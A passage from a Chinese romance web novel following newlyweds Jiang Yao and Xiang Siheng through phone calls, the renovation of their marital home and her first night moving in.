魏明用几分钟时间简洁地给她讲了一下几个方案的细节,待江窈点过头后,吩咐下去,今天就拿出了更细节的设计稿。
江窈明白,她打了一个哈欠,随着伸手的动作,被子从她身上滑下去,软绵绵地应了声:“好。”
她还没完全清醒,声音里带了点困劲儿,比平时语调更温吞,通过听筒落在男人耳边,沾了点电流音,显得更加酥软。
向司恒静了静,继续刚刚的话:“我落地后,也会再给你发消息,你有不方便告诉他的也可以跟我说。”
江窈没睡醒,说话比平时要再嗲一点:“我不方便告诉他的也不方便告诉你。”
“为什么?”
江窈捏着嗓子:“我跟你不熟,整天江窈江窈。”
他怎么不叫她江小姐。
还有几分钟就要登飞机,魏明走过来,在休息室门口停住脚,欠身提醒向司恒。
向司恒稍摆手,示意他不着急,随后侧身,继续和江窈通话。
他稍做沉默,跟她解释:“我习惯称呼人全名。”
“我也没别的意思,就是你这样叫我总让我想到我上学时候的教导主任,”江窈的初高中上的是北城的公立学校,她故意说的很夸张,“我的教导主任是个秃头。”
“.........”
向司恒:“我家里没这个基因,不会秃头。”
“哦,我又不是说你会秃头。”江窈小声念叨。
又聊了这两句,登机的时间确实到了。
向司恒抬腕看了眼表,右手的手机换在左手:“我二十五号回来,半个月时间,房子应该重装的差不多,我回来后几天,去你家接你,跟我去湖苑住?”
虽然两人已经基本达成约定,选湖苑的房子作为新婚婚房,但向司恒还是再向江窈确定了一下。
想到之后就要跟他住在一起,江窈拉起被角,往被子里缩了缩:“......嗯。”
电话挂断。
还有两分钟登机,向司恒沉默地看了眼手机屏幕,界面还停留在和江窈的对话框。
右手侧落地玻璃窗,窗明几净,从外散进光线,落在脚下柔柔的光线。
向司恒想了想,拇指点在键盘上敲了几下。
半分钟后,江窈手机再次震动。
她抬手捂在唇上,再打了个哈欠,摸过手机来看。
向司恒发来的是一张截图,截图内容是正在和她聊天的对话框,但最上面的备注已经做了修改,写着“太太”。
13.11.01薄荷
江窈握着手机,盯着看了一会儿。
那张截图下面紧接着又跟了一条消息。
向司恒:[我要登机了。]
江窈大小姐脾气上来,娇嗔的语气,打着字嘟囔:[你登机跟我说干什么。]
对面停顿片刻,引用了截图的那条消息:[因为这个。]
江窈的脸瞬间爆红。
她翻身坐起,揉了揉自己的头发,如瀑的长发难得的没有妥帖有型,被她揉乱了一点。
她没有谈过恋爱,自然也没有被人叫过太太,老婆,她拇指压着屏幕,耳朵热热的,良久没有打出字。
或许是沉默太久,对面人又问:[怎么了?]
江窈被问得有点炸毛:[没事!]
她打完这两个字,不自主地两根手指相互捻过,浅粉色的指甲在圆润干净,小拇指的指甲上有一些金粉,在灯光下亮闪闪。
向司恒不想研究她的“没事”为什么要多加一个感叹号,拇指压着屏幕按键,发了条语音过去。
他的话题还在那个备注上:“你如果不喜欢,可以再改,如果可以就这样定下。”
一个备注他为什么要翻来覆去这样问她!他自己决定就好了。
“同意吗?”他的第二条语音紧随其后。
江窈歪倒在床上,拿手机发:[......同意了。]
向司恒:[嗯。]
再之后男人没了回音,应该是登机了。
过了一会儿,向司恒的秘书果然发来设计图纸,很专业的东西,她看不懂,也不想看,挑了几个她最看重的问题,问过去,对方一一解答。
她嫌向司恒那个房子颜色太单一,设计团队更换了部分家具,并且利用配饰加多色调,客厅卧室等区域也增加了实用性更强的设计。
向司恒原来那个房子和他本人一样,像个冰窟窿,现在看那些效果图,明显“暖和”多了。
魏明:[您还有什么要求吗?]
江窈想了一会儿:[我放扇子的地方有吗?]
魏明直接发语音过来:“因为上次没有接到这个要求,所以没有另外安排房间,太太需要的话,可以利用二层一个单独的房间再改造。”
魏明:“二楼最东的房间可以吗?”
江窈仔细回忆了一下那间房,那间房原先是放书的,面朝北,阳光不会太强烈,符合藏扇的保存条件,面积也大,足够放她带过去的那些扇子。
她思考了一下,白皙的指尖按在屏幕键,也发语音过去:“可以,但如果用那个房间,需要给你老板请示一下吗?”
飞机还没有起飞,魏明作为向司恒最得力的助手坐在他身旁的位置。
此时江窈的声音从他的手机里冒出来。
柔柔的女声,魏尾音微微上翘,自然流露出一些娇嗔。
魏明感觉到坐在自己身边的老板看了自己一眼。
头等舱座位宽阔,向司恒面前有弹开的电脑,他戴了一副无框眼镜,起飞后没多久他要和在纽约的负责人开一场视频会。
魏明想可能是自己忘记把声音调小,打扰到向司恒工作,连忙稍低头,道歉:“抱歉,老板,我没想到江小姐突然发语音。”
“没事。”
向司恒虽然雷厉风行,手腕狠戾,但他一直不是一个不讲道理的老板。
魏明放下心来,但下一秒,身边的男人又开口:“手机给我,我来给她沟通。”
魏明一愣,想是还是自己刚刚的行为打扰到了向司恒,但眼下也不好再道第二遍歉,他把自己的手机递过去。
正好江窈在这时打他的电话。
向司恒眼皮半垂,目光落在屏幕弹出的语音通话上,几秒后,他拇指划开屏幕按键,接起:“什么事?”
江窈是给魏明打电话,没想到听到的是向司恒的声音。
男人低沉声线从听筒冒出的一瞬间,她差点把手机丢出去。
“怎么是你??”
“怎么不能是我,”半秒后,他垂眸,目光落在面前的电脑屏,骨节分明的手指搭在键盘上,“关于房子的问题,你直接告诉我。”
江窈嘟嘟囔囔:“你刚不是说让报给你助理吗?”
“嗯。”但他忽然觉得那样不太合适,毕竟这是两人的婚房,不应该交给下属处理。
而且她的声音确实太像撒娇,不适合让外人听到。
江窈觉得向司恒很多时候都很奇怪,没再这个话题多浪费时间,直截了当:“我是想问你,二楼东边的那个书房可以整理出来给我放扇子吗?”
江窈:“我刚刚找魏明要屋子放藏扇,他说让我用那个。”
有资方发来邮件,向司恒点开看了一眼,一目三行扫过邮件内容,随后松开鼠标,后靠回她:“可以,婚房你可以随意处置。”
婚房婚房,他总喜欢说这两个字,他又不和她住一起,算什么婚房。
没有七情六欲的老严肃。
“哦,”江窈一手扶在床面,对着床头镜整理自己的头发,翘着声音,“还有啊,那个衣帽间对我来说还是太小了点,我东西很多的,能想办法再给我弄大点吗?”
两人最后选的婚房是在湖苑顶楼的跃层,每层四百平,二楼只有两人的卧室和衣帽间,现在多加一个放藏扇的屋子。
算下来江窈衣帽间的面积并不小。
向司恒想了下:“我让魏明联系湖苑的负责人,把我们住的下面一层也买下来,单独作为你的衣帽间。”
“单独一层?”那好像有点大了,不过江窈没拒绝,万一以后她买更多衣服呢,“也可以。”
“还有其它问题吗?”
江窈掀开被子,右手拇指勾着自己睡裙的衣带从床上下来:“暂时没有了。”
“如果有直接告诉我,不需要再找魏明了。”
江窈两脚踩在床边温暖的毛毯上,找到白色的保暖拖鞋,穿上之后才回答他:“好。”
电话挂断,向司恒把手机还给魏明。
今天预报有雨,飞机舷窗外挂着细密的水珠,空乘从前方撩了帘子走过来,用很温柔的语气提醒魏明关手机。
魏明的心思还在刚刚向司恒的话上。
他想了想,语气恭敬,还是低声询问:“老板,有关湖苑的房子,我在工作中出了什么问题吗?”
不然为什么不让他再管。
“没有。”男人把右侧的遮光板合上。
向司恒知道他要问什么,默了两秒,简短解释:“她是我的太太。”
-
向司恒不在得半个月时间,江窈过得异常悠闲,甚至很多时候都忘
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了自己还有个老公。
向司恒回来的前三天,她正在工作室和段琪一起吃饭,接到他的电话。
手机在桌面震了两下,她撩眸看到屏幕上的来电显示,右手放下银筷,把手机拿过来。
她和段琪吃的饭是家里厨师送来的,色香味俱全,糖酥小排表面有一层琥珀色,撒上芝麻后更是让人食欲大增。
段琪看到她瞄着屏幕不说话,猜出来:“是向司恒吗?”
江窈点头,撑着桌面站起,拇指划开接听键:“喂?”
向司恒刚从一个会议下来,魏明走在他的斜前方,帮他推开门。
“你最近很忙?”他的语气像审查工作。
江窈莫名其妙,手机拿下来,对着窗户看了眼屏幕,紧接着重新放回耳侧,慢吞吞:“没有。”
一些高层跟在他身后几米的地方出来,走近看到大老板站在窗户旁,单手挽着西服打电话,都纷纷对他欠身示意,待他点头之后才告别离开。
向司恒的目光从那几个高层身上收回,落在窗外。
国内最近阴雨连绵,纽约天气比国内好一点,半办公楼天井内侧有喷泉池,水柱在阳光下泛着淡淡的金色。
“没有为什么没有给我打电话。”他轻轻皱眉。
两人约定他出差出差的这段时间每周通话两次。
今天已经是周日,两次通话,还没有进行过一次。
江窈最近今天都在工作室和段琪一起忙单子,再往前的两天,跟三哥江铭去看了场演唱会,把打电话的事情忘的一干二净。
打电话的要求是向司恒提出的。
他当时提出这个建议时说的是为了维系两人的感情。
他们两个都没有什么感情,不知道有什么可维系的。
她背靠窗户,脚尖轻轻点点地,耳边的发丝垂下来,遮住半面脸颊:“忘了。”
“嗯。”对面男人似乎没有追究意思。
半秒后,他又开口。
低沉磁性的声音从听筒传出,敲在江窈耳廓:“我们约定每周两次电话,一次十五分钟,这周两次都还没打,所以时间加起来,计入现在的这一次里。”
向司恒抬腕看了眼时间:“现在还有二十七分三十秒。”
“.........”
江窈看向斜前方停了筷子,准备等她继续吃饭的段琪,她抬了下手,示意段琪先吃。
段琪点点头,虽然好奇她和向司恒的对话,但还是很识趣地“闭上”耳朵,往远处拉了拉椅子,安静如鸡地吃自己的饭。
江窈往里侧的方向又走了几步,转身面向窗户,她右肘撑在窗柩上,往前倾身,利用窗框撑住自己一半身体的重量:“聊什么?”
对面人沉默,须臾之后:“可以聊一聊我们之间的相处方式,我还有三天就回国了。”
之后两人会生活在一起。
江窈看着喜欢窗外起落的鸟:“聊什么相处方式?”
向司恒再次沉吟,他其实也不清楚,但很显然,江窈不想找话题,只能他来。
男人默了片刻,声线低沉磁性:“我们之后相处,你想我们彼此怎么称呼?”
他还记得她不希望他们互相叫对方的大名,但叫太太和丈夫又太官方。
他想了想:“老公老婆吗?”
14.11.03薄荷
江窈在心里发出爆鸣!
什么老公老婆,她只是觉得他可以叫她“窈窈”。
“不行!”她的拒绝声中带一丝羞赧。
“好,那就不叫。”向司恒也完全没有强迫她的意思。
“你叫我窈窈就可以!”
“好。”向司恒再次答应。
窗外靠近楼的地方有一棵雪松,枝干挺拔,松针碧绿,落了一层薄雾,向司恒目光收回,针对这个话题提出下一步的问题。
“那你怎么称呼我?”
江窈在休息室的内间找了个软塌坐下。
软塌靠窗,她倚在靠枕的位置,半低头,看自己新做的指甲。
他这个人真无聊,聊天一板一眼,她怎么知道要怎么叫他呀:“老......向吧。”
“.........”
向司恒有点头痛,觉得这个话题可以终止了:“算了,你可以直接称呼我的名字,我不介意。”
“哦,”江窈扬了尾音应声,故意念得娇滴滴,“好的,向司恒。”
向司恒抬腕看了眼表,还有二十分钟。
他简短思考,转了别的话题:“中午吃饭了吗?”
“正在吃。”江窈答得懒洋洋,可能刚吃了几口米饭的缘故,现在靠在软塌上,竟然有些想睡觉。
“吃的是什么?”
“糖醋小排,清炒芦笋,松茸乌鸡汤......”她仔细数了几个菜。
她越说越困,声音变得软绵绵,钻进向司恒的耳朵。
向司恒对她的映象一直是年纪小,一些行为举止娇滴滴,又有些爱撒娇——现在尤其是。
他把听筒拿离一点,微微皱眉。
他还是不习惯听她这样讲话。
江窈说完,发现那面没有声音了,手机从耳边拿下来,看了眼屏幕,确认还在通话中,把手机又放回去:“你怎么不说话呀!”
不说话为什么要给她打电话,还掐秒,这有什么意思,她干脆给他背诗算了!
她两条纤细好看的眉皱起:“不想跟你打了。”
“为什么?”那端的人声线平稳,询问。
江窈翻了个身,侧脸压在塌上,蹭了蹭,嘀嘀咕咕:“不想打就是不想打了,哪有那么多为什么,我还要吃饭呢,跟你打电话还不如跟我爷爷聊天。”
“......”向司恒没纠结她这句话里的阴阳怪气,只是平淡的声音又问了句,“你现在在工作室,和段琪一起吃饭?”
“对。”
“那先去吃饭吧,今天就这样,”对面停顿两秒,男人貌似是确认了一下时间,“剩下二十分钟,明天再打。”
其实是十九分四十五秒,但四舍五入,他加上了时间。
“哦。”江窈巴不得早点挂电话,和他聊天聊久了,她都觉得自己会变老。
电话匆匆挂断,江窈撑着软塌坐起来,她的头发今天没有挽起,而是披散开,扎了公主头,发尾微微卷翘,搭垂在肩膀下。
江窈还没在位置坐稳,段琪从外间进来,她站在门口,一手扒着门框,往房间内探头:“窈窈?”
江窈坐在软塌,右腿悬空,轻轻晃了两下,她刚按灭手机,抬头看过去。
段琪先是抬手点点她的手机,比口型:“打完了?”
江窈点头。
段琪松了口气,走进来,不知道是不是听江窈吐槽太多,她现在也有点怕向司恒:“向总来了。”
“向总?”哪个向总,她刚和向家最没意思的向总挂了电话。
“向桉?”段琪回忆两分钟前女人的话,“好像是向司恒的妹妹。”
江窈记得向桉,她还跟她一起吐槽过她哥没意思。
江窈点头,表示知道,从软塌上轻跳下来,往门口的方向走。
向桉已经等在外间了,她刚出差回来,从机场到公司正巧路过江窈的工作室,顺便把礼物带过来。
这次去国外出差,时间不紧,临回的最后一天,空出半下午的时间,同行的下属找她请假,想去附近商场逛逛,给家人带礼物,她听后想了下,也和下属一起去了。
没逛两家,看到一对很漂亮的珍珠耳饰,她觉得衬江窈,就买了下来。
陶瓷工作室,装潢上也更古色古香,江窈和向桉分坐檀木桌椅两旁,桌子上同一色调的木架有精致的镂空钩花。
向桉把盒子拆开,推过去,眨眨眼:“出差看到的,想到还没有送过你东西,所以买了下来。”
高品质的澳白万里挑一,价格也是。
这对珍珠耳饰设计并不繁琐,铂金底座钩成花朵的图案,有江南娇媚的韵味。
江窈只看了两眼就知道是品质非常好的珍珠,她很喜欢,眼神都亮了。
向桉看到,当然不会放过这个机会,往前倾身,示意:“要不要试试?”
她长相偏清冷,按性格不是,工作时正经,私下是爱吃膨化食品的女霸总。
木架旁就有镜子,耳饰从盒子里拿出来,戴上后照着镜子比对。
莹白色的珍珠,无论是大小还是色泽,都是一等一得好,室内暖白色的光线下,温润的珠光莹润漂亮。
向桉对着江窈拍了一张,发给自己堂哥。
向桉:[【图片】]
向桉:[好看吗?]
照片里的女生正对着镜子照自己耳垂上的耳饰,前倾身体,背很薄,曲线纤细,从照片的角度能看到她精致的五官。
向司恒知道向桉今天过去送礼物。
他目光落在那对珍珠上,片刻后:[好看。]
向桉:[是吗?]
向桉:[我说的是人。]
又过了几秒,对面再次发来消息。
向司恒:[也好看。]
-
周日傍晚,向司恒过来接人。
他到的时候,江窈正在楼上收拾东西。
虽然向司恒的助理提前打来电话,很周密地给她念了个单子,她需要用到的东西,新房准备得一应俱全。
两人住的楼下一层也被向司恒买下来,短短半个多月时间,已经装修好,改成她的私人衣帽间。
甚至衣帽间被填满了一半,购置了适合她尺寸的,从春夏到秋冬的所有衣服。
虽然新家把东西准备得差不多,但有些她用顺手和穿习惯的衣服,还是想带过去。
谁知道向司恒给她买的衣服她喜不喜欢,如果是向司恒授意买的,保不准都是十年前的款式。
他一个老古董,知道现在流行什么吗?
詹美琳站在门口,抬手轻叩了两下门,喊她:“窈窈。”
江窈把刚从衣架上摘下的几条睡裙随手扔进行李箱,提着裙子,跨过箱子往门口走去:“来了。”
走到门口,詹美琳拉住她的手,目光落在她脸上,仔细端详,片刻后移开,拍拍她的手:“过去之后,如果住得不开心,一定要跟妈妈说。”
“知道啦。”
都已经是结了婚的人了,江窈不想太矫情,岔开话题,拉着詹美琳的手往楼下走:“那个老严肃的房子离溢香居很近,我可以经常过去,吃现成的点心。”
“老严肃?”詹美琳诧异,不知道她在说谁。
江窈语气顿了下,提裙摆的另一只手松下来,才想起詹美琳不知道自己给向司恒起的这个绰号。
她半低头,看脚下的路,嘀嘀咕咕:“......就是那个姓向的。”
詹美琳这才意识到她在说向司恒,明白过来,她又觉得两个人怪怪的,结婚结得很快,但好像关系又不好。
她皱着眉,低声询问:“窈窈,你老实跟妈妈讲,真的喜欢他吗?”
江窈习惯在家里穿长裙,已经走下最后一节台阶,裙摆拖过台阶,她左手提了一下。
被追问这种问题,她有些不好意思,也不想让詹美琳操心,随口答:“喜欢吧......他不是长得挺好看的嘛。”
詹美琳拍拍她的手,用北城话,温柔哄人的语气:“你觉得他长得好看呀?”
江窈继续嘟囔答:“对嘛,鼻梁挺挺的,反正那张皮囊很好么。”
话音落,她整理好裙摆再抬头,
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看到已经走近的向司恒。
他走路怎么没声音呀!!
而且这么近,他就在她的斜前方,肯定听到她刚刚说的了!
男人看起来像刚从公司过来,西服笔挺,外襟衣扣松开,里面是同样颜色的马甲,修身挺拔,他眸光幽深,正落在她脸上。
江窈心一抖,视线撇开,他肯定听到了!
“江窈。”
他又这么一字一顿地喊她!
詹美琳看两人说话,松开江窈的手往客厅走,给小夫妻私人空间。
江窈懒得理他,抱臂:“你来这么早干什么?”
她穿淡金色的锦缎,裙子布料轻薄,不知道是不是化了妆,唇色粉粉的。
向司恒收回目光,垂眸看了眼右腕的表。
已经不早了,他今天下午多开了一场会,比平时晚下班了一个小时。
不过她说早,就顺着她说吧。
“嗯,过来帮你收拾东西。”
没想到他这么有心,江窈眼神惊讶地看了他一下,随后撇着唇,嘟囔:“那你跟我上来吧。”
她确实还有很多东西没有整理,而且是搬去和他一起住,他当然要出力!
跟不远处的江博盛和詹美琳说了一声,江窈提着裙摆,转身往楼上走,向司恒看她一眼,跟在后面。
江窈说的收拾只是把她要拿的东西扔进了行李箱。
大小姐十指不沾阳春水,很少亲自动手做这种事情,但这次打包的东西很多是她的私人物品,所以没让佣人帮忙。
向司恒站在衣帽间门口,看她摊在地面的三个行李箱,每个行李箱的东西都被扔得像吐出来一样,只有最里面的那个勉强整齐一些,衣服像是叠过的样子。
“让让,麻烦让让。”江窈突然想起来自己常用的面霜落在了浴室。
也不是面霜,先前花几万块定制的面霜,她觉得不好用,拿来当身体乳了,所以一直放在浴室。
向司恒侧身,给她让出位置,江窈从他身边挤出去,往浴室的方向走。
她穿了柔软的棉拖,粉色毛绒的,和她身上格外贵气的裙子不太相衬,但意外地显得有些可爱。
向司恒的目光从女人的背影收回,重新落在不远处的行李箱。
静了两秒,他提步走过去,打算帮她收拾东西。
走近他才发现,刚刚远看还算整齐的那个行李箱也不争气,一堆闹不明白的布料堆在一起。
既然已经结婚了,他是她的丈夫,有义务帮她整理箱子。
他在她的箱子前蹲下。
男人穿了黑色西裤,一条腿的膝盖抵在地面,西裤包裹着有力的大腿,因为跪姿,裤脚微微上提,露出脚踝。
他捡起箱子内的两件衣服,轻轻抖动,准备整理,然后——他的手停住了。
怪不得这个行李箱看起来东西少,因为都是轻薄的睡衣,他手里拿的这两条,一条是黑色蕾丝吊带,另一条长一些,吊带的湖蓝色绸缎长裙,但他没看错的话,应该是大露背。
他轻轻咽了下嗓,随后不过两秒,衣帽间门口响起去而复返的江窈的声音。
“你动我衣服干什么!”她脸颊绯红。
她右手抱着刚从浴室拿出的两罐面霜,眼睛紧紧盯着向司恒手里的东西。
她就去了两分钟,谁让这个臭男人动她睡衣的!!
而且那些睡衣都很清凉,她习惯晚上睡觉穿这些,但去了向司恒那里,如果在家穿这个,她会在外面加外搭。
向司恒自知理亏,右手的两条睡衣放下,默了默,稳声解释:“我想帮你整理东西。”
江窈的脸还红着,扫过地面的几个箱子,想到他会上来,确实是要帮她收拾。
“你去了之后就要穿这些?”向司恒稳了稳声线,还是问道。
“对,怎么了!”江窈本来没想,但看向司恒皱眉这么问,她就想扬着声音答。
向司恒瞥了眼那些衣服,随后没有再帮她整理那个箱子的意思,绕开那个行李箱,轻蹙眉,还是提醒:“最好不要在家里穿布料这么少的布。”
15.11.04薄荷
什么布,他到底在说什么??
江窈正好走到那个箱子旁,不高兴地叉着腰踢了脚那个箱子:“我就穿。”
两米外的男人没什么表情,只是目光淡淡地从箱子里那堆布料鲜少的裙子上移开。
他没说话,但神情里的意思很明显,如果你穿,我不会看。
“.........”她讨厌他!!!
她不允许任何忤逆她个人魅力的事情发生。
江窈这一生气就生气到了车开到湖苑。
因为帮江窈搬东西,除了向司恒自己开的那辆车外,让司机还另开了一辆车,车上有助理跟着,车上放的是江窈的那几只箱子。
司机帮忙把行李箱从车上拎下来,再送到楼上。
电梯门关上后,一层只剩下了江窈和向司恒。
单层独户,电梯就在入户门前,江窈拎着自己的米白色小皮箱,跟在向司恒的后面。
这个米白色小皮箱就是放她那些睡衣护肤品的箱子,剩下两只黑色的大行李箱,在身前男人的手里。
向司恒把门打开,带她走进去。
江窈比向司恒矮不少,他站在她前面,几乎挡住了她的全部视野,她轻轻踮脚,视线才勉强越过他的肩膀,看到客厅的装潢。
向司恒手下的人效率很高,设计图发过来没多久,这套房子的重装就已经结束了。
现在的客厅在原先黑白灰的风格上,融入了亚麻棕和海洋蓝,背景墙和很多小的装饰品也融入和更多色调。
客厅中央原先黑色的皮质沙发也应她的要求,换成了米白色的不规则形状,表面是毛茸茸的布料,看起来较之前温暖很多。
江窈松口气。
虽说之前魏明给她返过设计图,但她一直没有看过“实物”,不知道重装后的真实效果怎么样。
现在看起来的确不错。
向司恒把她的箱子先放在玄关处的架子旁,随后侧身对她道:“你的卧室是二楼东侧的那个。”
玄关处光线昏暗,昏黄色的灯光撒下来,男人眼睫半垂,她能看到衬衣包裹下他清健有力的身型。
不睡一起就不睡一起,她还不想跟他睡呢!
“知道了,”江窈绕开他往楼上走,同时不忘指挥提醒,“你帮我把那两个箱子拿上来。”
她说完几步上前,找到楼梯,踩着带跟的小短靴“噔噔蹬”上楼。
向司恒扫过女人的背影,想到刚刚距离很近时她身上的香气,静默半秒,提起她那两只箱子,走过去。
卧室也按她的提议重新改造过,浴室干湿分离,内侧有半人高向外伸出的露台,露台外有巨大的单面玻璃窗遮挡,露台上是按她的要求配备的超大浴缸。
向司恒待江窈参观完,把她的箱子放在卧室联通衣帽间的通道处:“有阿姨在楼下两层居住,每天白天会来打扫,准备一日三餐,平时你想吃夜宵,或者需要她们,也可以给她们打电话,她们会随时上来。”
江窈哦了一声,抬头看表,她晚饭吃得少,其实有些饿了,但现在已经十点,她觉得打电话再叫阿姨上来,有点折腾人。
向司恒看出她脸上的犹豫:“怎么了?”
但江窈不想饿着肚子睡觉,她拢了拢身上的披肩,左手又摸了下自己的小腹,小声嘀咕:“......我饿了。”
看她刚犹豫的表情,向司恒大概明白她是不想麻烦楼下阿姨。
略做思考,他挽起右臂袖口:“家里冰箱有冻的馄饨,吃吗?”
江窈口味偏淡,在家就最喜欢清汤小馄饨,此时听到向司恒说,眼睛略微睁大,瞳仁被室内的光线映得亮亮的。
向司恒看她的反应,知道她应该是喜欢。
“先去洗澡下来,我帮你煮一碗。”
江窈先去衣帽间拿了换洗衣物,再去浴室,脱掉衣服,打开淋浴间的水龙头。
浴室完全按女性的习惯设计,甚至很多置物架,包括镜子都专门按她的身高特意调整过。
她的目光从一排精油和沐浴乳上扫过,挑了一个她喜欢的味道,在掌心挤入几滴。
向司恒应该是的确很认真
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地了解过她,浴室的所有洗漱用品都是她喜欢的牌子,甚至是摆放的几款精油,也是她常用的味道。
半小时后,她从楼上下来。
想到下楼就有馄饨吃,她难得洗得快了点,只用了不到半小时。
向司恒是在下来后二十分钟左右才开始煮,现在正好出锅。
他穿着还没换下的衬衫,右臂袖口挽在肘间,开放式厨房吊顶是澄黄色的灯带,柔柔的光线洒下来,他半垂眸,从江窈的角度能看到他线条完美的侧脸。
她带过来的睡裙全是那种又短又魅的吊带,和向司恒叫板时她硬气得很现在又有点后悔。
确实太短了,裙摆只到大腿根。
唯一一条长裙是大露背,但她不想穿,为什么要给臭男人看她漂亮的背!
向司恒听到动静,右手把装有馄饨的碗放下,抬眸看过来,随后喉结轻轻滚动一下。
她实在漂亮,刚洗过的头发随意挽成发髻,没被发绳绑住的几缕发丝垂下,搭垂在肩膀上。
黑色的发丝,衬得她脖颈和裸露的肩膀更是雪白,再往下,裙摆之下是纤细笔直的一双腿。
江窈看到他目光扫过她的腿,扯住裙摆往下拉了拉,因为害羞有点炸毛:“你不是说不看吗,你现在看我干什么?!”
向司恒目光收回,在面前的馄饨碗里稍加了一些调料,随后左手端起碗,从厨房的流理台后绕出,往外走。
他稍稍点头,点评:“好看的。”
他知道女人需要夸奖,江窈作为他的妻子,他希望她能过得开心,自然也会多夸奖她。
他说完,江窈脸更红,扯住裙子的手再次往下:“你怎么突然夸我腿好看!谁让你看我的腿了!”
向司恒已经走到外面的餐厅,他把两只装有馄饨的碗放在略高一点的吧台上,转头再看过去,沉吟两秒,平声解释:“我说的是裙子。”
江窈更气了,那还不如夸她的腿呢!!
她还没开始发脾气,男人已经移开视线,从银桶中拿出筷子,喊她:“过来吃饭。”